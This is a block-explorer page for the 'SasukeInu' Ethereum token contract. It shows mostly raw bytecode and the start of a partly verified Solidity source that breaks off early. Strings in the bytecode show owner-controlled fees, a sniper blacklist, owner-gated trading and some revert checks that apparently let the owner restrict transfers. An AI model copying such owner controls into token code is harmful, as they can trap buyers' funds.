Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x350a7C6baeB451B016C2028073960BFa2C689e1b
Balance 0.132842 ETH
Nonce 1
Code Size 16149 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

16149 bytes
0x6080604052600436106103f35760003560e01c80636ce37fa011610208578063a4ac110811610118578063dc44b6a0116100ab578063eafb5a3c1161007a578063eafb5a3c14610b83578063f6540ec714610ba3578063fb78680d14610bb9578063fcd635af14610bd9578063fd0dde6314610bf957600080fd5b8063dc44b6a014610afb578063dd62ed3e14610b11578063e79d416014610b57578063ea08d30b14610b6d57600080fd5b8063c5d24189116100e7578063c5d2418914610a99578063c860795214610aaf578063cdfdb7dc14610ac5578063cf50573614610ae557600080fd5b8063a4ac110814610a2d578063a9059cbb14610a43578063c193e75814610a63578063c49b9a8014610a7957600080fd5b806388f820201161019b57806395d89b411161016a57806395d89b41146109a25780639cf17d2a146109b7578063a0263c89146109cd578063a0c5efc2146109ed578063a457c2d714610a0d57600080fd5b806388f8202014610936578063893d20e81461096f5780638a8c523c1461098d5780638da5cb5b1461096f57600080fd5b80637598f8bc116101d75780637598f8bc146108ca57806380c581d1146108e057806382d2a4bb1461090057806388790a681461092057600080fd5b80636ce37fa01461085557806370a082311461087557806370d5ae0514610895578063715018a6146108b557600080fd5b806339509351116103035780634ef3cce5116102965780635d098b38116102655780635d098b38146107cf5780636053a0e3146107ef57806364038409146108095780636612e66f1461081f5780636cbdd5e31461083f57600080fd5b80634ef3cce5146107405780634fb2e45d1461075657806350a8e016146107765780635342acb41461079657600080fd5b80634129ecee116102d25780634129ecee146106c957806341d05b08146106e9578063452ed4f1146106ff5780634a74bb021461071f57600080fd5b806339509351146106535780633b3e672f146106735780633f3cf56c14610693578063401aa5c0146106b357600080fd5b806318160ddd116103865780632d838119116103555780632d838119146105bb578063313ce567146105db57806333251a0b146105fd578063384f6b511461061d5780633865cf3f1461063357600080fd5b806318160ddd1461054657806323b872dd1461055b578063260039571461057b57806329370cc61461059b57600080fd5b806311f25b9b116103c257806311f25b9b146104cb57806312e3b0ab146104ed57806313114a9d1461051157806313e461921461052657600080fd5b806306fdde03146103ff5780630758d9241461042a578063095ea7b3146104625780630f3a325f1461049257600080fd5b366103fa57005b600080fd5b34801561040b57600080fd5b50610414610c0f565b6040516104219190613c73565b60405180910390f35b34801561043657600080fd5b50602d5461044a906001600160a01b031681565b6040516001600160a01b039091168152602001610421565b34801561046e57600080fd5b5061048261047d366004613a5d565b610ca1565b6040519015158152602001610421565b34801561049e57600080fd5b506104826104ad366004613974565b6001600160a01b03166000908152600a602052604090205460ff1690565b3480156104d757600080fd5b506104eb6104e6366004613b10565b610cb7565b005b3480156104f957600080fd5b50610503601e5481565b604051908152602001610421565b34801561051d57600080fd5b50602c54610503565b34801561053257600080fd5b506104eb610541366004613a28565b610cef565b34801561055257600080fd5b50602a54610503565b34801561056757600080fd5b506104826105763660046139e7565b610fe3565b34801561058757600080fd5b506104eb610596366004613b29565b611036565b3480156105a757600080fd5b506104eb6105b6366004613af5565b61111e565b3480156105c757600080fd5b506105036105d6366004613b10565b611190565b3480156105e757600080fd5b5060285460405160ff9091168152602001610421565b34801561060957600080fd5b506104eb610618366004613974565b611214565b34801561062957600080fd5b5061050360205481565b34801561063f57600080fd5b506104eb61064e366004613b29565b6112d1565b34801561065f57600080fd5b5061048261066e366004613a5d565b61134b565b34801561067f57600080fd5b5061048261068e366004613a89565b611382565b34801561069f57600080fd5b506104eb6106ae366004613b29565b611459565b3480156106bf57600080fd5b5061050360135481565b3480156106d557600080fd5b506104eb6106e4366004613bd7565b61154c565b3480156106f557600080fd5b50610503601a5481565b34801561070b57600080fd5b50602e5461044a906001600160a01b031681565b34801561072b57600080fd5b5060315461048290600160a81b900460ff1681565b34801561074c57600080fd5b5061050360215481565b34801561076257600080fd5b506104eb610771366004613974565b6115a0565b34801561078257600080fd5b50603e546104829062010000900460ff1681565b3480156107a257600080fd5b506104826107b1366004613974565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156107db57600080fd5b506104eb6107ea366004613974565b611742565b3480156107fb57600080fd5b506045546104829060ff1681565b34801561081557600080fd5b5061050360365481565b34801561082b57600080fd5b506104eb61083a366004613a28565b6117e2565b34801561084b57600080fd5b50610503601d5481565b34801561086157600080fd5b506104eb610870366004613ba5565b611837565b34801561088157600080fd5b50610503610890366004613974565b6118dc565b3480156108a157600080fd5b5060305461044a906001600160a01b031681565b3480156108c157600080fd5b506104eb611941565b3480156108d657600080fd5b5061050360175481565b3480156108ec57600080fd5b506104eb6108fb366004613a28565b6119c0565b34801561090c57600080fd5b506104eb61091b366004613b10565b611aa3565b34801561092c57600080fd5b5061050360185481565b34801561094257600080fd5b50610482610951366004613974565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561097b57600080fd5b506000546001600160a01b031661044a565b34801561099957600080fd5b506104eb611ae8565b3480156109ae57600080fd5b50610414611bc9565b3480156109c357600080fd5b50610503601f5481565b3480156109d957600080fd5b506104eb6109e8366004613af5565b611bd8565b3480156109f957600080fd5b506104eb610a08366004613ba5565b611c1c565b348015610a1957600080fd5b50610482610a28366004613a5d565b611cc1565b348015610a3957600080fd5b50610503601b5481565b348015610a4f57600080fd5b50610482610a5e366004613a5d565b611cf8565b348015610a6f57600080fd5b5061050360165481565b348015610a8557600080fd5b506104eb610a94366004613af5565b611d05565b348015610aa557600080fd5b5061050360155481565b348015610abb57600080fd5b5061050360195481565b348015610ad157600080fd5b506104eb610ae0366004613b4b565b611d7c565b348015610af157600080fd5b5061050360475481565b348015610b0757600080fd5b5061050360145481565b348015610b1d57600080fd5b50610503610b2c3660046139ae565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b348015610b6357600080fd5b5061050360445481565b348015610b7957600080fd5b50610503601c5481565b348015610b8f57600080fd5b506104eb610b9e366004613974565b611dcd565b348015610baf57600080fd5b50610503603b5481565b348015610bc557600080fd5b506104eb610bd4366004613ba5565b612153565b348015610be557600080fd5b506104eb610bf4366004613ba5565b6121bc565b348015610c0557600080fd5b5061050360225481565b6060600d8054610c1e90613e2f565b80601f0160208091040260200160405190810160405280929190818152602001828054610c4a90613e2f565b8015610c975780601f10610c6c57610100808354040283529160200191610c97565b820191906000526020600020905b815481529060010190602001808311610c7a57829003601f168201915b5050505050905090565b6000610cae338484612261565b50600192915050565b6000546001600160a01b03163314610cea5760405162461bcd60e51b8152600401610ce190613cc8565b60405180910390fd5b604755565b6000546001600160a01b03163314610d195760405162461bcd60e51b8152600401610ce190613cc8565b60018115151415610e4e576001600160a01b03821660009081526007602052604090205460ff1615610d8d5760405162461bcd60e51b815260206004820152601c60248201527f4163636f756e7420697320616c7265616479206578636c756465642e000000006044820152606401610ce1565b6001600160a01b03821660009081526001602052604090205415610de7576001600160a01b038216600090815260016020526040902054610dcd90611190565b6001600160a01b0383166000908152600260205260409020555b506001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b80610fdf576001600160a01b03821660009081526007602052604090205460ff16610ebb5760405162461bcd60e51b815260206004820152601c60248201527f4163636f756e7420697320616c726561647920696e636c756465642e000000006044820152606401610ce1565b60005b600854811015610fdd57826001600160a01b031660088281548110610ee557610ee5613eb1565b6000918252602090912001546001600160a01b03161415610fcb5760088054610f1090600190613e18565b81548110610f2057610f20613eb1565b600091825260209091200154600880546001600160a01b039092169183908110610f4c57610f4c613eb1565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559185168152600282526040808220829055600790925220805460ff191690556008805480610fa457610fa4613e9b565b600082815260209020810160001990810180546001600160a01b0319169055019055610fdd565b80610fd581613e6a565b915050610ebe565b505b5050565b6000610ff0848484612385565b506001600160a01b03841660009081526005602090815260408083203380855292529091205461102c918691611027908690613e18565b612261565b5060019392505050565b6000546001600160a01b031633146110605760405162461bcd60e51b8152600401610ce190613cc8565b60008183602a546110719190613dd0565b61107b9190613dae565b90506103e8602a5461108d9190613dae565b8110156110f75760405162461bcd60e51b815260206004820152603260248201527f4d61782057616c6c657420616d74206d7573742062652061626f766520302e31604482015271129037b3103a37ba30b61039bab838363c9760711b6064820152608401610ce1565b6039819055600c54829061110c908590613dd0565b6111169190613dae565b603b55505050565b6000546001600160a01b031633146111485760405162461bcd60e51b8152600401610ce190613cc8565b6045805460ff19168215159081179091556040519081527f3794234fa370c9f3b948dda3e3040530785b2ef1eb27dda3ffde478f4e2643c0906020015b60405180910390a150565b6000602b548211156111f75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610ce1565b600061120161273c565b905061120d8184613dae565b9392505050565b6000546001600160a01b0316331461123e5760405162461bcd60e51b8152600401610ce190613cc8565b6001600160a01b0381166000908152600a602052604090205460ff166112b05760405162461bcd60e51b815260206004820152602160248201527f4163636f756e74206973206e6f742061207265636f7264656420736e697065726044820152601760f91b6064820152608401610ce1565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146112fb5760405162461bcd60e51b8152600401610ce190613cc8565b603f5415801561130b5750604254155b6113405760405162461bcd60e51b815260206004820152600660248201526522b93937b91760d11b6044820152606401610ce1565b603f91909155604255565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610cae918590611027908690613d96565b60008382146113dd5760405162461bcd60e51b815260206004820152602160248201527f4d757374206265206d61746368696e6720617267756d656e74206c656e6774686044820152607360f81b6064820152608401610ce1565b8360005b8181101561144c576114318787838181106113fe576113fe613eb1565b90506020020160208101906114139190613974565b86868481811061142557611425613eb1565b90506020020135611cf8565b61143a57600080fd5b8061144481613e6a565b9150506113e1565b5060019695505050505050565b6000546001600160a01b031633146114835760405162461bcd60e51b8152600401610ce190613cc8565b60008183602a546114949190613dd0565b61149e9190613dae565b90506103e8602a546114b09190613dae565b8110156115255760405162461bcd60e51b815260206004820152603760248201527f4d6178205472616e73616374696f6e20616d74206d7573742062652061626f7660448201527f6520302e3125206f6620746f74616c20737570706c792e0000000000000000006064820152608401610ce1565b6034819055600c54829061153a908590613dd0565b6115449190613dae565b603655505050565b6000546001600160a01b031633146115765760405162461bcd60e51b8152600401610ce190613cc8565b60435415801561158f5750603e5462010000900460ff16155b61159857600080fd5b60ff16604355565b6000546001600160a01b031633146115ca5760405162461bcd60e51b8152600401610ce190613cc8565b6001600160a01b0381166115f05760405162461bcd60e51b8152600401610ce190613cfd565b6030546001600160a01b038281169116141561161e5760405162461bcd60e51b8152600401610ce190613cfd565b60008054611637916001600160a01b03909116906117e2565b6116428160016117e2565b61164d816001610cef565b6000546031546001600160a01b039081169116141561168257603180546001600160a01b0319166001600160a01b0383161790555b600054611697906001600160a01b03166118dc565b600080546001600160a01b0390811682526005602090815260408084208684168552909152822092909255805490916116d091166118dc565b11156116f7576000546116f5906001600160a01b0316826116f0826118dc565b612385565b505b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b0316331461176c5760405162461bcd60e51b8152600401610ce190613cc8565b6031546001600160a01b03828116911614156117c05760405162461bcd60e51b815260206004820152601360248201527257616c6c657420616c7265616479207365742160681b6044820152606401610ce1565b603180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461180c5760405162461bcd60e51b8152600401610ce190613cc8565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146118615760405162461bcd60e51b8152600401610ce190613cc8565b602454841115801561187557506023548311155b801561188357506025548211155b801561189157506026548111155b61189a57600080fd5b61138881836118a98688613d96565b6118b39190613d96565b6118bd9190613d96565b11156118c857600080fd5b601893909355601791909155601955601a55565b6001600160a01b03811660009081526007602052604081205460ff161561191957506001600160a01b031660009081526002602052604090205490565b6001600160a01b03821660009081526001602052604090205461193b90611190565b92915050565b6000546001600160a01b0316331461196b5760405162461bcd60e51b8152600401610ce190613cc8565b60008054611984916001600160a01b03909116906117e2565b600080546001600160a01b031916815560405181907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b6000546001600160a01b031633146119ea5760405162461bcd60e51b8152600401610ce190613cc8565b80611a1157506001600160a01b03166000908152600360205260409020805460ff19169055565b60045415611a785762093a8060045442611a2b9190613e18565b11611a785760405162461bcd60e51b815260206004820181905260248201527f43616e6e6f74207365742061206e657720706169722074686973207765656b216044820152606401610ce1565b6001600160a01b0382166000908152600360205260409020805460ff19166001179055426004555050565b6000546001600160a01b03163314611acd5760405162461bcd60e51b8152600401610ce190613cc8565b611add81655af3107a4000613dd0565b60465550565b905090565b6000546001600160a01b03163314611b125760405162461bcd60e51b8152600401610ce190613cc8565b603e5460ff1615611b655760405162461bcd60e51b815260206004820152601860248201527f54726164696e6720616c726561647920656e61626c65642100000000000000006044820152606401610ce1565b611b70306001610cef565b611b8c611b856000546001600160a01b031690565b6001610cef565b603054611ba3906001600160a01b03166001610cef565b602e54611bba906001600160a01b03166001610cef565b603e805460ff19166001179055565b6060600e8054610c1e90613e2f565b6000546001600160a01b03163314611c025760405162461bcd60e51b8152600401610ce190613cc8565b603e80549115156101000261ff0019909216919091179055565b6000546001600160a01b03163314611c465760405162461bcd60e51b8152600401610ce190613cc8565b6024548411158015611c5a57506023548311155b8015611c6857506025548211155b8015611c7657506026548111155b611c7f57600080fd5b6113888183611c8e8688613d96565b611c989190613d96565b611ca29190613d96565b1115611cad57600080fd5b601493909355601391909155601555601655565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610cae918590611027908690613e18565b600061102c338484612385565b6000546001600160a01b03163314611d2f5760405162461bcd60e51b8152600401610ce190613cc8565b60318054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061118590831515815260200190565b6000546001600160a01b03163314611da65760405162461bcd60e51b8152600401610ce190613cc8565b828111158015611db65750818111155b611dbf57600080fd5b602092909255602255602155565b6000546001600160a01b03163314611df75760405162461bcd60e51b8152600401610ce190613cc8565b60008190506000816001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015611e3757600080fd5b505afa158015611e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e6f9190613991565b6001600160a01b031663e6a4390530846001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eb757600080fd5b505afa158015611ecb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eef9190613991565b6040516001600160e01b031960e085901b1681526001600160a01b0392831660048201529116602482015260440160206040518083038186803b158015611f3557600080fd5b505afa158015611f49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f6d9190613991565b90506001600160a01b03811661211357816001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015611fb657600080fd5b505afa158015611fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fee9190613991565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561203657600080fd5b505afa15801561204a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061206e9190613991565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156120b657600080fd5b505af11580156120ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120ee9190613991565b602e80546001600160a01b0319166001600160a01b039290921691909117905561212f565b602e80546001600160a01b0319166001600160a01b0383161790555b50602d80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b0316331461217d5760405162461bcd60e51b8152600401610ce190613cc8565b8284602a5461218c9190613dd0565b6121969190613dae565b603c55602a5481906121a9908490613dd0565b6121b39190613dae565b603d5550505050565b6000546001600160a01b031633146121e65760405162461bcd60e51b8152600401610ce190613cc8565b60245484111580156121fa57506023548311155b801561220857506025548211155b801561221657506026548111155b61221f57600080fd5b611388818361222e8688613d96565b6122389190613d96565b6122429190613d96565b111561224d57600080fd5b601c93909355601b91909155601d55601e55565b6001600160a01b0383166122c35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ce1565b6001600160a01b0382166123245760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ce1565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166123eb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ce1565b6001600160a01b03831661244d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ce1565b600082116124af5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610ce1565b6124b9848461275f565b1561262757603e5460ff166125105760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610ce1565b6034548211156125735760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610ce1565b602f546001600160a01b038481169116148015906125aa57506001600160a01b03831660009081526003602052604090205460ff16155b1561262757603954826125bc856118dc565b6125c69190613d96565b11156126275760405162461bcd60e51b815260206004820152602a60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526930b63632ba29b4bd329760b11b6064820152608401610ce1565b6001600160a01b03841660009081526006602052604090205460019060ff168061266957506001600160a01b03841660009081526006602052604090205460ff165b15612672575060005b6001600160a01b03841660009081526003602052604090205460ff161561272757603154600160a01b900460ff161580156126b65750603154600160a81b900460ff165b156127275760006126c6306118dc565b9050603c5481106126e857603d5481106126df5750603d545b6126e88161281f565b604554479060ff1680156126fd575060475481115b156127245760465481111561271157506046545b61272461271f606483613dae565b6129dd565b50505b61273385858584612bab565b95945050505050565b60008060006127496130cc565b90925090506127588183613dae565b9250505090565b600080546001600160a01b0384811691161480159061278c57506000546001600160a01b03838116911614155b80156127b157506001600160a01b0382166000908152600b602052604090205460ff16155b80156127d657506001600160a01b0383166000908152600b602052604090205460ff16155b80156127f057506030546001600160a01b03838116911614155b801561280457506001600160a01b03821615155b801561120d57506001600160a01b0383163014159392505050565b6031805460ff60a01b1916600160a01b1790556022546021546020546000929161284891613d96565b6128529190613d96565b90508061285f57506129cd565b600081602054846128709190613dd0565b61287a9190613dae565b90506000826021548561288d9190613dd0565b6128979190613dae565b905060006128a58284613d96565b6128af9086613e18565b905060006128be600285613dae565b905060006128cc8286613e18565b9050476000846128dc8786613d96565b6128e69190613d96565b90506128f18161324f565b60006128fd8347613e18565b905060008261290c8784613dd0565b6129169190613dae565b90506000836129258a85613dd0565b61292f9190613dae565b602054909150156129865761294486836133b8565b60408051888152602081018490529081018790527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15b6031546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156129c0573d6000803e3d6000fd5b5050505050505050505050505b506031805460ff60a01b19169055565b600081116129ea57600080fd5b80471015612a455760405162461bcd60e51b815260206004820152602260248201527f436f6e747261637420646f6573206e6f74206861766520656e6f756768204554604482015261241760f11b6064820152608401610ce1565b6040805160028082526060820183526000926020830190803683375050602d54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015612aaa57600080fd5b505afa158015612abe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ae29190613991565b81600081518110612af557612af5613eb1565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110612b2957612b29613eb1565b6001600160a01b039283166020918202929092010152602d5460305460405163b6f9de9560e01b81529183169263b6f9de95928692612b75926000928892909116904290600401613c3e565b6000604051808303818588803b158015612b8e57600080fd5b505af1158015612ba2573d6000803e3d6000fd5b50505050505050565b603e54600090610100900460ff1615612d9e576001600160a01b0385166000908152600a602052604090205460ff1680612bfd57506001600160a01b0384166000908152600a602052604090205460ff165b15612c3d5760405162461bcd60e51b815260206004820152601060248201526f29b734b832b9103932b532b1ba32b21760811b6044820152606401610ce1565b603e5462010000900460ff16612cd557612c57858561347b565b603e5462010000900460ff16158015612c755750612c75858561275f565b15612cd05760405162461bcd60e51b815260206004820152602560248201527f4f6e6c79206f776e65722063616e207472616e736665722061742074686973206044820152643a34b6b29760d91b6064820152608401610ce1565b612d9e565b6000604054118015612cff57506001600160a01b03851660009081526003602052604090205460ff165b8015612d105750612d10858561275f565b15612d9e57604354604054612d259043613e18565b1015612d9e576001600160a01b0384166000908152600a60205260408120805460ff191660011790556044805491612d5c83613e6a565b90915550506040516001600160a01b03851681527f18e6e5ce5c121466e41a954e72765d1ea02b8e6919043b61f0dab08b4c6572e59060200160405180910390a15b612da98585846135d2565b6000612db58484613673565b60808101516001600160a01b038816600090815260016020526040902054919250612ddf91613e18565b6001600160a01b0380881660009081526001602052604080822093909355606084015191881681529190912054612e169190613d96565b6001600160a01b0380871660009081526001602090815260408083209490945591891681526007909152205460ff168015612e6a57506001600160a01b03851660009081526007602052604090205460ff16155b15612eb1576001600160a01b038616600090815260026020526040902054612e93908590613e18565b6001600160a01b038716600090815260026020526040902055612ff1565b6001600160a01b03861660009081526007602052604090205460ff16158015612ef257506001600160a01b03851660009081526007602052604090205460ff165b15612f3a5780516001600160a01b038616600090815260026020526040902054612f1c9190613d96565b6001600160a01b038616600090815260026020526040902055612ff1565b6001600160a01b03861660009081526007602052604090205460ff168015612f7a57506001600160a01b03851660009081526007602052604090205460ff165b15612ff1576001600160a01b038616600090815260026020526040902054612fa3908590613e18565b6001600160a01b0380881660009081526002602052604080822093909355835191881681529190912054612fd79190613d96565b6001600160a01b0386166000908152600260205260409020555b612ffb868661275f565b1561302957603f54158061301f57506005600c546130199190613dae565b603f5414155b1561302957600080fd5b60408101511561304157613041868260400151613802565b60008160a001511180613058575060008160200151115b1561306f5761306f8160a0015182602001516138ce565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83600001516040516130b891815260200190565b60405180910390a350600195945050505050565b602b54602a546000918291825b60085481101561321e578260016000600884815481106130fb576130fb613eb1565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180613166575081600260006008848154811061313f5761313f613eb1565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561317c57602b54602a54945094505050509091565b600160006008838154811061319357613193613eb1565b60009182526020808320909101546001600160a01b031683528201929092526040019020546131c29084613e18565b925060026000600883815481106131db576131db613eb1565b60009182526020808320909101546001600160a01b0316835282019290925260400190205461320a9083613e18565b91508061321681613e6a565b9150506130d9565b50602a54602b5461322f9190613dae565b82101561324657602b54602a549350935050509091565b90939092509050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061328457613284613eb1565b6001600160a01b03928316602091820292909201810191909152602d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156132d857600080fd5b505afa1580156132ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133109190613991565b8160018151811061332357613323613eb1565b6001600160a01b039283166020918202929092010152602d546133499130911684612261565b602d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790613382908590600090869030904290600401613d5a565b600060405180830381600087803b15801561339c57600080fd5b505af11580156133b0573d6000803e3d6000fd5b505050505050565b602d546133d09030906001600160a01b031684612261565b602d5460305460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c4016060604051808303818588803b15801561343b57600080fd5b505af115801561344f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906134749190613b77565b5050505050565b603e5462010000900460ff16156134e05760405162461bcd60e51b815260206004820152602360248201527f4c697175696469747920616c726561647920616464656420616e64206d61726b60448201526232b21760e91b6064820152608401610ce1565b6134ea828261275f565b1580156135045750602e546001600160a01b038281169116145b15610fdf57604354158061351a57506005604354115b156135335761352b436101f4613d96565b604055613538565b436040555b6001600160a01b0382166000908152600b602052604090819020805460ff199081166001908117909255603e805462ff0000191662010000179055426041556031805460ff60a81b1916600160a81b17905560098054909116905590517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159916135c691901515815260200190565b60405180910390a15050565b806135f0576000600f81905560108190556011819055601255610fdd565b602e546001600160a01b038381169116141561362357601754600f55601854601055601954601155601a54601255610fdd565b602e546001600160a01b038481169116141561365657601354600f55601454601055601554601155601654601255610fdd565b601b54600f55601c54601055601d54601155601e54601255505050565b6136ac6040518060c001604052806000815260200160008152602001600081526020016000815260200160008152602001600081525090565b6136e56040518060c001604052806000815260200160008152602001600081526020016000815260200160008152602001600081525090565b60006136ef61273c565b90506136fb8186613dd0565b6080830152831561378057602754600f546137169087613dd0565b6137209190613dae565b60208301526027546137306138f4565b61373a9087613dd0565b6137449190613dae565b60408301819052602083015161375a9190613d96565b6137649086613e18565b82526020820151613776908290613dd0565b60a0830152613799565b6000602083018190526040830181905285835260a08301525b60425415806137bd57506028546137b49060ff166005613def565b60ff1660425414155b156137c757600080fd5b8082604001516137d79190613dd0565b8260a001516137e69190613d96565b82608001516137f59190613e18565b6060830152509392505050565b600061380c61273c565b9050600061381a8284613dd0565b30600090815260016020526040902054909150613838908290613d96565b3060009081526001602090815260408083209390935560079052205460ff16156138885730600090815260026020526040902054613877908490613d96565b306000908152600260205260409020555b60405183815230906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050565b81602b546138dc9190613e18565b602b55602c546138ed908290613d96565b602c555050565b60006012546011546010546139099190613d96565b611ae39190613d96565b60008083601f84011261392557600080fd5b50813567ffffffffffffffff81111561393d57600080fd5b6020830191508360208260051b850101111561395857600080fd5b9250929050565b8035801515811461396f57600080fd5b919050565b60006020828403121561398657600080fd5b813561120d81613ec7565b6000602082840312156139a357600080fd5b815161120d81613ec7565b600080604083850312156139c157600080fd5b82356139cc81613ec7565b915060208301356139dc81613ec7565b809150509250929050565b6000806000606084860312156139fc57600080fd5b8335613a0781613ec7565b92506020840135613a1781613ec7565b929592945050506040919091013590565b60008060408385031215613a3b57600080fd5b8235613a4681613ec7565b9150613a546020840161395f565b90509250929050565b60008060408385031215613a7057600080fd5b8235613a7b81613ec7565b946020939093013593505050565b60008060008060408587031215613a9f57600080fd5b843567ffffffffffffffff80821115613ab757600080fd5b613ac388838901613913565b90965094506020870135915080821115613adc57600080fd5b50613ae987828801613913565b95989497509550505050565b600060208284031215613b0757600080fd5b61120d8261395f565b600060208284031215613b2257600080fd5b5035919050565b60008060408385031215613b3c57600080fd5b50508035926020909101359150565b600080600060608486031215613b6057600080fd5b505081359360208301359350604090920135919050565b600080600060608486031215613b8c57600080fd5b8351925060208401519150604084015190509250925092565b60008060008060808587031215613bbb57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208284031215613be957600080fd5b813560ff8116811461120d57600080fd5b600081518084526020808501945080840160005b83811015613c335781516001600160a01b031687529582019590820190600101613c0e565b509495945050505050565b848152608060208201526000613c576080830186613bfa565b6001600160a01b03949094166040830152506060015292915050565b600060208083528351808285015260005b81811015613ca057858101830151858201604001528201613c84565b81811115613cb2576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252603d908201527f43616c6c2072656e6f756e63654f776e65727368697020746f207472616e736660408201527f6572206f776e657220746f20746865207a65726f20616464726573732e000000606082015260800190565b85815284602082015260a060408201526000613d7960a0830186613bfa565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115613da957613da9613e85565b500190565b600082613dcb57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615613dea57613dea613e85565b500290565b600060ff821660ff84168160ff0481118215151615613e1057613e10613e85565b029392505050565b600082821015613e2a57613e2a613e85565b500390565b600181811c90821680613e4357607f821691505b60208210811415613e6457634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415613e7e57613e7e613e85565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114613edc57600080fd5b5056fea2646970667358221220b50abc92ef8cf905bda0b08d2d9e8cf30499c76a173ab3274c5495a8a6ef859964736f6c63430008070033

Verified Source Code Partial Match

Compiler: v0.8.7+commit.e28d00a7 EVM: london Optimization: Yes (200 runs)
SasukeInu.sol 1406 lines
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;

abstract contract Context {
    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the token name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the bep token owner.
     */
    function getOwner() external view returns (address);

    /**
